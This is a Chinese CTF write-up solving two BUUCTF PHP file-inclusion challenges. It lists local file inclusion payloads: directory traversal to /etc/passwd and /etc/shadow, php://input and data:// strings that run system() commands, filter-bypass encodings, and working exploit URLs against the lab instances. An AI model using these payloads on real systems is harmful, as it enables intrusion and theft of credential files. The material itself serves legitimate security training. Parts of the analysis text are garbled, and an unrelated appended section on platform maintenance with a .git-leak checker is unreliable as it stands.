BUUCTF两道目录包含题目

目录包含

[HCTF 2018]WarmUp1

本题考查代码审计,具体考查白名单过滤不严格、文件包含include()实现目录遍历

#知识点
1、文件包含函数
    include() 、include_once() 
    require() 、require_once() 
    include文件不存在时抛出警告,然后继续执行;require则抛出致命错误,终止执行。

2、读取敏感文件
    读取配置文件:/etc/passwd(Linux 用户信息)、/etc/shadow(密码哈希)、/etc/hosts、php.ini。
    读取会话文件:/var/lib/php/sess_<session_id>(获取用户会话)。
    读取日志文件:/var/log/apache2/access.log(结合日志注入攻击)。
    读取代码文件:如网站源代码(index.php、config.php等)

// 漏洞
include($_GET['page']);

// Payload
?page=/etc/passwd
?page=../../../../etc/passwd  # 目录遍历

// 绕过技巧:
使用多个../向上跳转目录。
URL 编码绕过:%2e%2e%2f(../的编码)。

#利用 PHP 伪协议
3、php://input:读取 POST 原始数据(条件:allow_url_include=On)
// 攻击请求
?page=php://input
<?php system('cat /etc/passwd'); ?>

4、php://filter:读取文件源码(用于代码审计)
// 读取源码并Base64编码
?page=php://filter/convert.base64-encode/resource=[文件名]

5、data://text/plain:注入 PHP 代码(条件:allow_url_include=On)
?page=data://text/plain,<?php system('id'); ?>

6、zip:///phar
//:利用压缩文件包含恶意代码
......

题目名称无有效信息,打开是一个图片,查看源代码

image-20250519215610067

image-20250519215641140

注释信息中有一个source.php,给出了代码,白名单数组中还定义了一个hint.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

代码中class emmm定义过滤函数checkFile(& p a g e ) ,首先使用仅包含 ‘ s o u r c e . p h p ‘ 、 ‘ h i n t . p h p ‘ 关键字的白名单数组,对传入的 ‘ page),首先使用仅包含`source.php`、`hint.php`关键字的白名单数组,对传入的` page),首先使用仅包含source.phphint.php关键字的白名单数组,对传入的page参数进行一次截取第一个?前字符串进行过滤的操作,如果传入的参数在 w h i t e l i s t ‘ 中,则放行,若不是,则不予通过;然后进行一次 ‘ whitelist`中,则放行,若不是,则不予通过;然后进行 一次` whitelist中,则放行,若不是,则不予通过;然后进行一次_page = urldecode($page)`URL解码;然后再对编码后的参数进行一次截取过滤。

image-20250519232009567

通过checkFile()检查后,代码引用了危险函数include()进行文件包含,存在文件包含漏洞

如何绕过?

这里只要确保传入的参数?前是source.php或者hint.php就行

另外,hint.php提示flag在ffffllllaaaagggg

image-20250519220006815

构造payload

http://ad2dbcdc-0269-47c1-b009-4979e8d2c9aa.node5.buuoj.cn:81/?file=source.php?../ffffllllaaaagggg

image-20250519233901106

不在此层,向上遍历目录(网上有师傅说可以直接遍历n个…/,可以直接遍历到最顶层)获得flag

http://ad2dbcdc-0269-47c1-b009-4979e8d2c9aa.node5.buuoj.cn:81/?file=source.php?../../../../../ffffllllaaaagggg

image-20250519234000990

[ACTF2020 新生赛]Include1

本题考查php伪协议实现任意文件读取

#知识点
php:// 协议
1、php://filter用于读取源码
php://filter/[filter_name]/resource=[file_path]
2、php://input用于执行php代码

#实例
1、php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(输出经过base64编码后的源代码)
2、php://input + [POST DATA]执行php代码
http://xx.xx.xx.xx?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
<?php system("ls"); ?>

#参考
https://blog.51cto.com/u_15414689/5530906
https://segmentfault.com/a/1190000018991087#comment-area

image-20250519215142360

image-20250519215118082

打开题目,查看源代码、扫描目录均无有效信息。

根据题目名称以及页面链接提示,可知这题考查include()函数,该函数支持伪协议

#支持伪协议的函数还有
1、文件包含函数
include();
include_once();
require();
require_once();
2、文件操作类函数
fopen();
file();
readfile();
file_get_contents();

尝试用php://协议读取flag.php

#构造payload
http://297bdcde-82ca-4256-8196-cdcf3b805bbb.node5.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20250519215046716

base64解码

image-20250519215017435

[解题之外]

除了php://filter,突发奇想试了下php://inputdata:// 协议,看看结果。

image-20250521205439742

应该是被过滤了关键字

尝试读取index.php

image-20250521213740509

转码发现果然过滤了部分伪协议关键字

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

发现后台代码:

  1. 仅过滤了部分伪协议
  2. 采用字符串匹配的方式不够严谨,可以尝试编码绕过
  3. 没有处理文件路径,可能目录遍历

image-20250521215520416

贵在尝试。

### 关于BUUCTF题目的维护方法与资源 对于BUUCTF这类平台上的题目,其维护主要涉及几个方面:更新现有挑战、修复漏洞以及提供详尽的学习资料和支持。为了确保这些目标得以实现,通常会采取一系列措施。 #### 更新现有挑战 定期对已有的题目进行审查和改进是非常重要的。这不仅有助于保持平台的新鲜感,还能防止某些过时的技术被滥用。通过引入新的攻击向量和技术趋势,可以使参与者接触到最新的安全威胁形式[^1]。 #### 修复漏洞 当发现任何可能影响用户体验或安全性的问题时,应立即着手解决这些问题。例如,在提到的`.git`泄露案例中,及时修补此类错误至关重要,因为它们可能会暴露敏感信息并损害系统的完整性[^3]。 #### 提供学习材料和支持 创建详细的文档和指南可以帮助新手更好地理解如何参与CTF竞赛及其背后的概念。此外,建立活跃的社区论坛也是不可或缺的一部分;在这里成员们能够互相帮助解决问题,并分享宝贵的经验教训。高质量的安全攻防与CTF社区提供了丰富的资源库,包括但不限于各类工具介绍、技术文章等,这些都是非常有价值的参考资料[^2]。 ```python # Python脚本用于自动化检测网站是否存在.git目录泄漏问题 import requests def check_git_leak(url): try: response = requests.get(f"{url}/.git/") if "index.html" not in str(response.content) and response.status_code == 200: print("[!] Potential .git leak detected!") else: print("[+] No obvious signs of a .git leak.") except Exception as e: print(f"[x] Error occurred: {str(e)}") check_git_leak("http://example.com") # 替换为目标站点URL ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值